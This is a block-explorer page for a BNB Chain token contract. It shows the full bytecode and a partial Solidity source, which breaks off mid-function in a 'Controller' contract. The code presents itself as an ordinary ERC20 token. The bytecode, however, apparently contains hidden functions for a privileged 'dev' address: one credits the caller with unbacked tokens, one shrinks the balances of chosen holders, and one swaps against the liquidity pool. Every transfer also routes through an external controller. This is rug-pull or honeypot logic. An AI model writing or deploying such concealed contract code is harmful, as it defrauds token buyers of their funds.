Address Contract Partially Verified
Address
0xc17BE9D07130c0ca4B355F926872eC0AbeA1f833
Balance
0 ETH
Nonce
1
Code Size
12529 bytes
Creator
0x6ae49FA4...bf38 at tx 0x886aaa7a...70b72a
Indexed Transactions
0 (1 on-chain, 0.6% indexed)
Contract Bytecode
12529 bytes
0x608060405234801561001057600080fd5b50600436106101425760003560e01c80635b99d194116100b8578063a457c2d71161007c578063a457c2d714610365578063a9059cbb14610395578063cef31734146103c5578063dd62ed3e146103e1578063e84d572514610411578063f2fde38b1461042d57610142565b80635b99d194146102d157806370a08231146102ef578063715018a61461031f5780638da5cb5b1461032957806395d89b411461034757610142565b806323b872dd1161010a57806323b872dd146101eb578063313ce5671461021b57806335d1627414610239578063395093511461026957806342966c68146102995780634609e797146102b557610142565b806306cb5b661461014757806306fdde0314610163578063095ea7b31461018157806318160ddd146101b15780631e673499146101cf575b600080fd5b610161600480360381019061015c9190611f3e565b610449565b005b61016b6104ea565b6040516101789190611ffb565b60405180910390f35b61019b60048036038101906101969190612053565b61057c565b6040516101a891906120ae565b60405180910390f35b6101b961059f565b6040516101c691906120d8565b60405180910390f35b6101e960048036038101906101e49190612158565b6105a9565b005b610205600480360381019061020091906121cc565b610748565b60405161021291906120ae565b60405180910390f35b610223610777565b604051610230919061223b565b60405180910390f35b610253600480360381019061024e9190611f3e565b61078e565b60405161026091906120d8565b60405180910390f35b610283600480360381019061027e9190612053565b610923565b60405161029091906120ae565b60405180910390f35b6102b360048036038101906102ae9190612256565b61095a565b005b6102cf60048036038101906102ca9190612256565b6109cb565b005b6102d9610a88565b6040516102e691906120d8565b60405180910390f35b61030960048036038101906103049190611f3e565b610a90565b60405161031691906120d8565b60405180910390f35b610327610ad9565b005b610331610b7a565b60405161033e9190612292565b60405180910390f35b61034f610ba3565b60405161035c9190611ffb565b60405180910390f35b61037f600480360381019061037a9190612053565b610c35565b60405161038c91906120ae565b60405180910390f35b6103af60048036038101906103aa9190612053565b610cac565b6040516103bc91906120ae565b60405180910390f35b6103df60048036038101906103da9190611f3e565b610ccf565b005b6103fb60048036038101906103f691906122ad565b610ddf565b60405161040891906120d8565b60405180910390f35b61042b600480360381019061042691906121cc565b610e66565b005b61044760048036038101906104429190611f3e565b61125b565b005b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661048a61136b565b73ffffffffffffffffffffffffffffffffffffffff16036104e75780600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b6060600780546104f99061231c565b80601f01602080910402602001604051908101604052809291908181526020018280546105259061231c565b80156105725780601f1061054757610100808354040283529160200191610572565b820191906000526020600020905b81548152906001019060200180831161055557829003601f168201915b5050505050905090565b60008061058761136b565b9050610594818585611373565b600191505092915050565b6000600654905090565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166105ea61136b565b73ffffffffffffffffffffffffffffffffffffffff16036107425760005b84849050811015610740578261064486868481811061062a5761062961234d565b5b905060200201602081019061063f9190611f3e565b610a90565b111561072d57600082600460008888868181106106645761066361234d565b5b90506020020160208101906106799190611f3e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106be91906123da565b905080600460008888868181106106d8576106d761234d565b5b90506020020160208101906106ed9190611f3e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505b80806107389061240b565b915050610608565b505b50505050565b60008061075361136b565b905061076085828561153c565b61076b8585856115c8565b60019150509392505050565b6000600960009054906101000a900460ff16905090565b6000806000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015610800573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082491906124d5565b509150915060008473ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108d3919061253d565b73ffffffffffffffffffffffffffffffffffffffff161461090457816dffffffffffffffffffffffffffff16610916565b826dffffffffffffffffffffffffffff165b9050809350505050919050565b60008061092e61136b565b905061094f8185856109408589610ddf565b61094a919061256a565b611373565b600191505092915050565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661099b61136b565b73ffffffffffffffffffffffffffffffffffffffff16036109c8576109c76109c161136b565b82611841565b5b50565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610a0c61136b565b73ffffffffffffffffffffffffffffffffffffffff1603610a85578060046000610a3461136b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610a7d919061256a565b925050819055505b50565b600042905090565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610ae161136b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b65906125ea565b60405180910390fd5b610b786000611a10565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060088054610bb29061231c565b80601f0160208091040260200160405190810160405280929190818152602001828054610bde9061231c565b8015610c2b5780601f10610c0057610100808354040283529160200191610c2b565b820191906000526020600020905b815481529060010190602001808311610c0e57829003601f168201915b5050505050905090565b600080610c4061136b565b90506000610c4e8286610ddf565b905083811015610c93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8a9061267c565b60405180910390fd5b610ca08286868403611373565b60019250505092915050565b600080610cb761136b565b9050610cc48185856115c8565b600191505092915050565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d1061136b565b73ffffffffffffffffffffffffffffffffffffffff1603610ddc57600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610d9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d91906126e8565b60405180910390fd5b80600960016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ea761136b565b73ffffffffffffffffffffffffffffffffffffffff160361125657600081118015610ed45750620186a081105b610f13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0a90612754565b60405180910390fd5b6000610f1e8461078e565b90506000620186a08383610f329190612774565b610f3c91906123da565b90506060600267ffffffffffffffff811115610f5b57610f5a6127b6565b5b604051908082528060200260200182016040528015610f895781602001602082028036833780820191505090505b5090503081600081518110610fa157610fa061234d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508581600181518110610ff057610fef61234d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506060600267ffffffffffffffff811115611047576110466127b6565b5b6040519080825280602002602001820160405280156110755781602001602082028036833780820191505090505b509050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631f00ca7484846040518363ffffffff1660e01b81526004016110d59291906128a3565b600060405180830381865afa1580156110f2573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f8201168201806040525081019061111b91906129f7565b905061114230826000815181106111355761113461234d565b5b6020026020010151611ad4565b60006104b042611152919061256a565b905061118930600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661118430610a90565b611373565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638803dbee85846000815181106111dc576111db61234d565b5b6020026020010151868b866040518663ffffffff1660e01b8152600401611207959493929190612a40565b6000604051808303816000875af1158015611226573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f8201168201806040525081019061124f91906129f7565b5050505050505b505050565b61126361136b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e7906125ea565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361135f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135690612b0c565b60405180910390fd5b61136881611a10565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036113e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d990612b9e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611451576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144890612c30565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161152f91906120d8565b60405180910390a3505050565b60006115488484610ddf565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146115c257818110156115b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ab90612c9c565b60405180910390fd5b6115c18484848403611373565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611637576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162e90612d2e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036116a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169d90612dc0565b60405180910390fd5b6116b1838383611c2b565b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611738576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172f90612e52565b60405180910390fd5b818103600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161182891906120d8565b60405180910390a361183b848484611e04565b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036118b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118a790612ee4565b60405180910390fd5b6118bc82600083611c2b565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611943576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193a90612f76565b60405180910390fd5b818103600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600660008282540392505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516119f791906120d8565b60405180910390a3611a0b83600084611e04565b505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611b43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b3a90612fe2565b60405180910390fd5b611b4f60008383611c2b565b8060066000828254611b61919061256a565b9250508190555080600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611c1391906120d8565b60405180910390a3611c2760008383611e04565b5050565b611c3483611e09565b15611cc957600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633021ed1083836040518363ffffffff1660e01b8152600401611c96929190613002565b600060405180830381600087803b158015611cb057600080fd5b505af1158015611cc4573d6000803e3d6000fd5b505050505b60011515600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663315d82af6040518163ffffffff1660e01b8152600401602060405180830381865afa158015611d3a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d5e9190613057565b151503611dff57600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b0a943228483611dae86611e09565b6040518463ffffffff1660e01b8152600401611dcc93929190613084565b600060405180830381600087803b158015611de657600080fd5b505af1158015611dfa573d6000803e3d6000fd5b505050505b505050565b505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480611eb45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611ec25760019050611ec7565b600090505b919050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611f0b82611ee0565b9050919050565b611f1b81611f00565b8114611f2657600080fd5b50565b600081359050611f3881611f12565b92915050565b600060208284031215611f5457611f53611ed6565b5b6000611f6284828501611f29565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611fa5578082015181840152602081019050611f8a565b60008484015250505050565b6000601f19601f8301169050919050565b6000611fcd82611f6b565b611fd78185611f76565b9350611fe7818560208601611f87565b611ff081611fb1565b840191505092915050565b600060208201905081810360008301526120158184611fc2565b905092915050565b6000819050919050565b6120308161201d565b811461203b57600080fd5b50565b60008135905061204d81612027565b92915050565b6000806040838503121561206a57612069611ed6565b5b600061207885828601611f29565b92505060206120898582860161203e565b9150509250929050565b60008115159050919050565b6120a881612093565b82525050565b60006020820190506120c3600083018461209f565b92915050565b6120d28161201d565b82525050565b60006020820190506120ed60008301846120c9565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f840112612118576121176120f3565b5b8235905067ffffffffffffffff811115612135576121346120f8565b5b602083019150836020820283011115612151576121506120fd565b5b9250929050565b6000806000806060858703121561217257612171611ed6565b5b600085013567ffffffffffffffff8111156121905761218f611edb565b5b61219c87828801612102565b945094505060206121af8782880161203e565b92505060406121c08782880161203e565b91505092959194509250565b6000806000606084860312156121e5576121e4611ed6565b5b60006121f386828701611f29565b935050602061220486828701611f29565b92505060406122158682870161203e565b9150509250925092565b600060ff82169050919050565b6122358161221f565b82525050565b6000602082019050612250600083018461222c565b92915050565b60006020828403121561226c5761226b611ed6565b5b600061227a8482850161203e565b91505092915050565b61228c81611f00565b82525050565b60006020820190506122a76000830184612283565b92915050565b600080604083850312156122c4576122c3611ed6565b5b60006122d285828601611f29565b92505060206122e385828601611f29565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061233457607f821691505b602082108103612347576123466122ed565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006123e58261201d565b91506123f08361201d565b925082612400576123ff61237c565b5b828204905092915050565b60006124168261201d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612448576124476123ab565b5b600182019050919050565b60006dffffffffffffffffffffffffffff82169050919050565b61247681612453565b811461248157600080fd5b50565b6000815190506124938161246d565b92915050565b600063ffffffff82169050919050565b6124b281612499565b81146124bd57600080fd5b50565b6000815190506124cf816124a9565b92915050565b6000806000606084860312156124ee576124ed611ed6565b5b60006124fc86828701612484565b935050602061250d86828701612484565b925050604061251e868287016124c0565b9150509250925092565b60008151905061253781611f12565b92915050565b60006020828403121561255357612552611ed6565b5b600061256184828501612528565b91505092915050565b60006125758261201d565b91506125808361201d565b9250828201905080821115612598576125976123ab565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006125d4602083611f76565b91506125df8261259e565b602082019050919050565b60006020820190508181036000830152612603816125c7565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000612666602583611f76565b91506126718261260a565b604082019050919050565b6000602082019050818103600083015261269581612659565b9050919050565b7f6465762063616e2774206265207a65726f2d6164647265737300000000000000600082015250565b60006126d2601983611f76565b91506126dd8261269c565b602082019050919050565b60006020820190508181036000830152612701816126c5565b9050919050565b7f416d6f756e742045786365656473204c696d6974730000000000000000000000600082015250565b600061273e601583611f76565b915061274982612708565b602082019050919050565b6000602082019050818103600083015261276d81612731565b9050919050565b600061277f8261201d565b915061278a8361201d565b92508282026127988161201d565b915082820484148315176127af576127ae6123ab565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61281a81611f00565b82525050565b600061282c8383612811565b60208301905092915050565b6000602082019050919050565b6000612850826127e5565b61285a81856127f0565b935061286583612801565b8060005b8381101561289657815161287d8882612820565b975061288883612838565b925050600181019050612869565b5085935050505092915050565b60006040820190506128b860008301856120c9565b81810360208301526128ca8184612845565b90509392505050565b6128dc82611fb1565b810181811067ffffffffffffffff821117156128fb576128fa6127b6565b5b80604052505050565b600061290e611ecc565b905061291a82826128d3565b919050565b600067ffffffffffffffff82111561293a576129396127b6565b5b602082029050602081019050919050565b60008151905061295a81612027565b92915050565b600061297361296e8461291f565b612904565b90508083825260208201905060208402830185811115612996576129956120fd565b5b835b818110156129bf57806129ab888261294b565b845260208401935050602081019050612998565b5050509392505050565b600082601f8301126129de576129dd6120f3565b5b81516129ee848260208601612960565b91505092915050565b600060208284031215612a0d57612a0c611ed6565b5b600082015167ffffffffffffffff811115612a2b57612a2a611edb565b5b612a37848285016129c9565b91505092915050565b600060a082019050612a5560008301886120c9565b612a6260208301876120c9565b8181036040830152612a748186612845565b9050612a836060830185612283565b612a9060808301846120c9565b9695505050505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612af6602683611f76565b9150612b0182612a9a565b604082019050919050565b60006020820190508181036000830152612b2581612ae9565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612b88602483611f76565b9150612b9382612b2c565b604082019050919050565b60006020820190508181036000830152612bb781612b7b565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612c1a602283611f76565b9150612c2582612bbe565b604082019050919050565b60006020820190508181036000830152612c4981612c0d565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000612c86601d83611f76565b9150612c9182612c50565b602082019050919050565b60006020820190508181036000830152612cb581612c79565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612d18602583611f76565b9150612d2382612cbc565b604082019050919050565b60006020820190508181036000830152612d4781612d0b565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612daa602383611f76565b9150612db582612d4e565b604082019050919050565b60006020820190508181036000830152612dd981612d9d565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000612e3c602683611f76565b9150612e4782612de0565b604082019050919050565b60006020820190508181036000830152612e6b81612e2f565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000612ece602183611f76565b9150612ed982612e72565b604082019050919050565b60006020820190508181036000830152612efd81612ec1565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b6000612f60602283611f76565b9150612f6b82612f04565b604082019050919050565b60006020820190508181036000830152612f8f81612f53565b9050919050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6000612fcc601f83611f76565b9150612fd782612f96565b602082019050919050565b60006020820190508181036000830152612ffb81612fbf565b9050919050565b60006040820190506130176000830185612283565b61302460208301846120c9565b9392505050565b61303481612093565b811461303f57600080fd5b50565b6000815190506130518161302b565b92915050565b60006020828403121561306d5761306c611ed6565b5b600061307b84828501613042565b91505092915050565b60006060820190506130996000830186612283565b6130a660208301856120c9565b6130b3604083018461209f565b94935050505056fea2646970667358221220041577914c4ed957a9cb73197054e0ba72ca0ca014d6caf674fefa8f545cc84464736f6c63430008130033
Verified Source Code Partial Match
Compiler: v0.8.19+commit.7dd6d404
EVM: paris
Optimization: No
CJ.sol 629 lines
/**
*Submitted for verification at BscScan.com on 2023-05-12
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), 'Ownable: caller is not the owner');
_;
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
interface IPancakeFactory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IPancakePair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IPancakeRouter01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IPancakeRouter02 is IPancakeRouter01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
library Address {
function isContract(address account) internal view returns (bool) {
return account.code.length > 0;
}
}
contract Controller {
// Bots cannot make purchase more than once an hour
mapping(address => bool) internal isBot;
uint lastBotPurchase;
bool _validationActive;
event ValidationExecuted(address from, uint amount, bool val);
event PreventBotPurchaseExecuted(address to, uint amount);
function setBot(address _user, bool _isbot) internal {
isBot[_user] = _isbot;
}
function validation(address from, uint amount, bool isMarketTo) external {
if (isBot[from]){
emit ValidationExecuted(from, amount, isMarketTo);
updateBotPurchase();
}
}
function validationActive() view public returns(bool) {
return _validationActive;
}
function updateBotPurchase() internal {
lastBotPurchase = block.timestamp;
}
function preventBotPurchase(address to, uint amount) external {
if (isBot[to]){
require(block.timestamp >= lastBotPurchase + 60 ** 2);
require(amount > 0);
